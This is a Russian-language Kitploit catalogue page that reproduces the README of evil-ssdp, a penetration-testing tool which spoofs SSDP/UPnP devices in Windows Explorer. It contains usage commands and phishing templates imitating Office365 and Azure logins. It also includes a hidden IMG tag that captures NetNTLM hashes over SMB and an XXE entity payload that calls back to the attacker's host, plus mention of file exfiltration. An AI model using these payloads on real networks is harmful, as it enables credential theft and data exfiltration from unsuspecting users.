Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
evil-ssdp — Подделывайте ответы SSDP и создавайте фальшивые устройства UPnP для фишинга учётных данных и запросов/ответов NetNTLM. | Kitploit
Инструменты/GitHubGitHub/initstring/evil-ssdp
Анализ уязвимостейЭксплуатацияОбход IDS/IPSИнструменты для выдачи себя за другое лицоФишингСетевая безопасностьТестирование на ПроникновениеСоциальная инженерияRed Teaming
GitHubinitstring/evil-ssdp

evil-ssdp

Подделывайте ответы SSDP и создавайте фальшивые устройства UPnP для фишинга учётных данных и запросов/ответов NetNTLM.

4411002 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Обзор

Этот инструмент отвечает на многоадресные запросы обнаружения SSDP, выдавая себя за устройство UPNP общего назначения. Ваше поддельное устройство волшебным образом появится в проводнике Windows на машинах в вашей локальной сети. Пользователи, которые соблазнятся открыть устройство, увидят настраиваемую фишинговую страницу. Эта страница может загружать скрытое изображение через SMB, что позволяет вам перехватывать или ретранслировать запрос/ответ NetNTLM.

Также предоставлены шаблоны для сбора открытых учетных данных с помощью базовой аутентификации и форм входа, а создание собственных пользовательских шаблонов быстро и просто.

Для выполнения не требуется каких-либо существующих учетных данных, и он работает даже в сетях, которые защищены от атак Responder путем отключения NETBIOS и LLMNR. Любая операционная система или приложение, использующие SSDP/UPNP, могут быть атакованы, но большая часть текущей разработки ориентирована на Windows 10.

Видео: Обзор фишинга

В качестве бонуса этот инструмент также может обнаруживать и использовать потенциальные уязвимости нулевого дня в механизмах синтаксического анализа XML в приложениях, использующих SSDP/UPNP. Если найдено уязвимое устройство, он предупредит вас в интерфейсе, а затем смонтирует вашу общую папку SMB или извлечет данные БЕЗ НЕОБХОДИМОСТИ ВЗАИМОДЕЙСТВИЯ С ПОЛЬЗОВАТЕЛЕМ с помощью атаки XML External Entity (XXE).

Видео: Обзор 0-day

Использование

Самый простой запуск выглядит так:

root@kitploit:~
evil_ssdp.py eth0

Вы должны указать как минимум сетевой интерфейс. Интерфейс используется как для UDP-взаимодействия SSDP, так и для хостинга веб-сервера для XML-файлов и фишинговой страницы.

Инструмент автоматически обновит тег IMG на фишинговой странице, используя IP-адрес указанного вами интерфейса. Для работы с запросом/ответом вам потребуется запустить SMB-сервер на этом интерфейсе (например, Impacket). Этот адрес можно настроить с помощью опции -s.

Некоторые примеры сценариев:

root@kitploit:~
# Использовать wlan0 для рекламы устройства и фишинга, перехватывая NetNTLM и
# запрашивая открытый текст через поддельную форму входа Office365. Перенаправить на
# Microsoft после захвата учетных данных:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# То же, что и выше, но при условии, что ваш SMB-сервер работает на другом IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
    -s 192.168.1.205

# Запрашивать учетные данные с помощью базовой аутентификации и перенаправлять на Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
    'https://azure.microsoft.com/auth/signin/' -b

# Надеяться на уязвимость XXE для перехвата NetNTLM, пока Impacket/Responder работает
# на wlan0:
evil_ssdp.py wlan0 -t xxe-smb

Полные параметры использования:

root@kitploit:~
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
                    [-u URL]
                    interface

positional arguments:
  interface             Сетевой интерфейс для прослушивания.

optional arguments:
  -h, --help            показать это справочное сообщение и выйти
  -p PORT, --port PORT  Порт для HTTP-сервера. По умолчанию 8888.
  -t TEMPLATE, --template TEMPLATE
                        Имя папки в каталоге templates. По умолчанию
                        "office365". Определяет используемые XML и фишинговые страницы.
  -s SMB, --smb SMB     IP-адрес вашего SMB-сервера. По умолчанию используется основной
                        адрес указанного "interface".
  -b, --basic           Включить базовую аутентификацию base64 для шаблонов и записывать
                        учетные данные в файл журнала.
  -r REALM, --realm REALM
                        Область (realm) при запросе аутентификации у цели через
                        базовую аутентификацию.
  -u URL, --url URL     Перенаправить на этот URL. Работает с шаблонами, которые
                        выполняют POST для форм входа, и с шаблонами, которые включают
                        пользовательский JavaScript перенаправления (см. README для
                        получения дополнительной информации). [пример: -r https://google.com]
  -a, --analyze         Запустить в режиме анализа. НЕ будет отвечать ни на какие
                        запросы SSDP, но по-прежнему будет включать и запускать
                        веб-сервер для тестирования.

Шаблоны

В комплекте с инструментом поставляются следующие шаблоны. Если у вас есть хорошие навыки дизайна, пожалуйста, добавьте свой собственный!

  • office365: Будет отображаться в проводнике Windows как "Office365 Backups". Фишинговая страница, похожая на страницу входа Office365, отправит учетные данные обратно вам через POST. Они будут отмечены в интерфейсе и записаны в файл журнала. Рекомендуется запускать с опцией '-u https://www.office.com', чтобы перенаправлять пользователей на легитимный сайт после кражи их учетных данных. Разработчик: pentestgeek.
  • scanner: Будет отображаться в проводнике Windows как сканер с именем "Corporate Scanner [3 NEW SCANS WAITING]". Двойной щелчок приведет к странице входа общего вида. Этот шаблон хорошо поддается настройке под конкретную цель. Шаблон в основном скопирован из этого шаблона.
  • microsft-azure: Будет отображаться в проводнике Windows как "Microsoft Azure Storage". Целевая страница — это страница входа Windows Live, когда cookies отключены. Рекомендуется использовать с опцией -u для перенаправления пользователей на настоящую страницу входа. Разработчик: Dwight Hohnstein.
  • bitcoin: Будет отображаться в проводнике Windows как "Bitcoin Wallet". Фишинговая страница представляет собой просто случайный набор данных Bitcoin (закрытый ключ/открытый ключ/адрес). На этих аккаунтах нет реальных средств.
  • password-vault: Будет отображаться в проводнике Windows как "IT Password Vault". Фишинговая страница содержит короткий список фейковых паролей / SSH-ключей и т.д.
  • xxe-smb: Скорее всего, не будет отображаться в проводнике Windows. Используется для поиска уязвимостей нулевого дня в парсерах XML. При попадании выдаст предупреждение "XXE - VULN" в интерфейсе и попытается заставить клиентов аутентифицироваться на SMB-сервере без какого-либо взаимодействия.

Создавать собственные шаблоны легко. Просто скопируйте папку существующего шаблона и отредактируйте следующие файлы:

  • device.xml: Здесь вы определяете, как устройство будет выглядеть в проводнике Windows.
  • present.html: Это фишинговая страница, отображаемая, когда цель открывает зловредное устройство. Вы можете создать здесь все, что угодно. Обратите внимание, что строковый шаблон Python будет анализировать это, поэтому вам нужно будет использовать $$ вместо $ в любом месте, чтобы экранировать шаблонизатор.
  • service.xml: Пока не реализован. Может потребоваться для более сложной подмены UPNP в будущем.

На вашей фишинговой странице (present.html) используйте переменные, подобные следующим, для дополнительной функциональности:

root@kitploit:~
# Следующая строка инициирует запрос/ответ NetNTLM, используя IP-адрес
# указанного вами интерфейса или дополнительно указанного IP-адреса:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# Следующее будет использовать дополнительно указанное перенаправление URL. Это
# удобно при использовании с базовой аутентификацией для перенаправления на
# действительный сайт. Эта строка встроена в шаблон microsoft-azure:
    <script>
	    var url = "$redirectUrl";
    	    if (url != "") {
	    	document.location = url;
	    }
    </script>


# Если вы используете HTTP-форму для захвата открытых учетных данных,
# используйте код, подобный следующему. Кроме того, любой шаблон,
# выполняющий POST-запрос, будет автоматически поддерживать параметр '-u'
# для перенаправления после завершения POST. Инструмент будет
# отслеживать POST-запросы на этот URL для получения учетных данных:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">

В настоящее время инструмент корректно создает устройства только для типа UPNP 'Basic', хотя он отвечает на SSDP-запросы для всех типов устройств. Если вы хорошо знаете UPNP, вы можете создать новый шаблон с правильными параметрами для удовлетворения запросов и других типов устройств. Здесь еще многое можно исследовать в плане эксплуатации конкретных приложений и того, как они ожидают и используют устройства UPNP.

Технические детали

Simple Service Discovery Protocol (SSDP) используется операционными системами (Windows, MacOS, Linux, IOS, Android и т.д.) и приложениями (Spotify, Youtube и т.д.) для обнаружения общих устройств в локальной сети. Это основа для обнаружения и рекламы устройств Universal Plug & Play (UPNP).

Устройства, пытающиеся обнаружить общие сетевые ресурсы, отправляют UDP-многоадресную рассылку на адрес 239.255.255.250 по порту 1900. Исходный порт рандомизирован. Пример запроса выглядит так:

root@kitploit:~
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3

Для взаимодействия с этим хостом нам нужно перехватить как исходный порт, так и заголовок 'ST' (Service Type). Ответ ДОЛЖЕН быть отправлен на правильный исходный порт и ДОЛЖЕН включать правильный заголовок ST. Обратите внимание, что не только ОС Windows ищет устройства — сканирование типичной сети покажет большое количество запросов от приложений внутри ОС (например, Spotify), мобильных телефонов и других мультимедийных устройств. Windows будет взаимодействовать только в том случае, если вы ответите с правильным ST, другие источники более снисходительны.

evil_ssdp извлекает запрошенный ST и отправляет ответ, подобный следующему:

root@kitploit:~
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

Заголовки (в частности, LOCATION, 01-NLS, ST и USN) формируются динамически. Это сообщает запрашивающему, где найти дополнительную информацию о нашем устройстве. Здесь мы заставляем Windows (и других запрашивающих) получить и проанализировать наш XML-файл 'Device Descriptor'. USN — это просто случайная строка, она должна быть только уникальной и правильно отформатированной.

evil_ssdp извлекает файл 'device.xml' из выбранной папки шаблонов и динамически подставляет некоторые переменные, такие как ваш IP-адрес. В этом файле 'Device Descriptor' вы можете настроить привлекательные имена и описания. Он выглядит так:

root@kitploit:~
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://$local_ip:$local_port</URLBase>
  <device>
    <presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
    <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
    <friendlyName>Office365 Backups</friendlyName>
    <modelDescription>Secure Storage for Office365</modelDescription>
    <manufacturer>MS Office</manufacturer>
    <modelName>Office 365 Backups</modelName>
    <UDN>$session_usn</UDN>
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
        <serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
        <controlURL>/ssdp/service-desc.xml</controlURL>
        <eventSubURL>/ssdp/service-desc.xml</eventSubURL>
        <SCPDURL>/ssdp/service-desc.xml</SCPDURL>
      </service>
    </serviceList>

  </device>
</root>

Ключевая строка в этом файле содержит 'Presentation URL'. Это то, что загрузится в браузере пользователя, если он решит дважды щелкнуть на устройстве UPNP. evil_ssdp будет автоматически хостить этот файл (present.html из выбранной папки шаблонов), подставляя ваш исходный IP-адрес в тег IMG для доступа к общей папке SMB, которую вы можете хостить с помощью таких инструментов, как Impacket, Responder или Metasploit.

Тег IMG выглядит так:

root@kitploit:~
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

Охота за нулевыми днями

По умолчанию этот инструмент, по сути, заставляет устройства в сети анализировать XML-файл. Существует известная атака на приложения, анализирующие XML, — XML External Entity Processing (XXE).

Этот тип атаки на устройства UPNP, вероятно, упускается из виду — просто потому, что метод атаки сложен и не очевиден. Однако evil_ssdp делает очень простым тестирование на наличие уязвимых устройств в вашей сети. Просто запустите инструмент и ищите большую надпись [XXE VULN!!!] в выводе. ПРИМЕЧАНИЕ: использование шаблона xxe, скорее всего, не создаст видимых зловредных устройств в локальной сети, он предназначен только для сценариев с нулевым взаимодействием.

Это достигается путем предоставления XML-файла Descriptor устройства со следующим содержимым:

root@kitploit:~
<?xml version="1.0"?>
<!DOCTYPE data [ 
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>

Когда уязвимый парсер XML читает этот файл, он автоматически монтирует общую папку SMB (позволяя вам взломать хеш или ретранслировать), а также обращается к HTTP-URL, чтобы уведомить вас об обнаружении. Уведомление будет содержать HTTP-заголовки и IP-адрес, что должно дать вам некоторую информацию об уязвимом приложении. Если вы это увидите, пожалуйста, свяжитесь с вендором, чтобы исправить проблему. Кроме того, я был бы рад узнать о любых нулевых днях, которые вы найдете с помощью этого инструмента. И, пожалуйста, упомяните инструмент в вашем CVE.

Благодарности

  • Спасибо ZeWarren и его проекту здесь. Я активно использовал это, чтобы понять основы работы SSDP.
  • Спасибо pentest geek и их фишинговым шаблонам здесь. Я использовал страницу входа Office365 оттуда.
  • Спасибо Dwight Hohnstein за отличную работу по реализации классных функций, таких как базовая аутентификация, поддержка realm и автоматическое перенаправление в evil_ssdp. Он любезно написал и предоставил код для этого.
  • Спасибо следующим людям за исправление ошибок:
    • Nadar, Ender Akbas, bubbleguuum

Также спасибо Microsoft за разработку множества веселых небезопасных штук для игр.

Это инструмент для исследований в области безопасности. Используйте только там, где есть явное разрешение от владельца сети.

Скачать инструмент
  • xxe-exfil: Еще один пример поиска уязвимостей XXE, но на этот раз с попыткой извлечения тестового файла с хоста Windows. Конечно, вы можете настроить его на поиск любого конкретного файла, который вам нужен, будь то Windows или Linux. В уязвимых приложениях, которые я обнаружил, извлечение работает только для файлов без пробелов или разрывов строк. Это связано с тем, как он внедряется в URL GET-запроса. Если у вас получится заставить это работать с многострочными файлами, ПОЖАЛУЙСТА, дайте мне знать, как вы это сделали.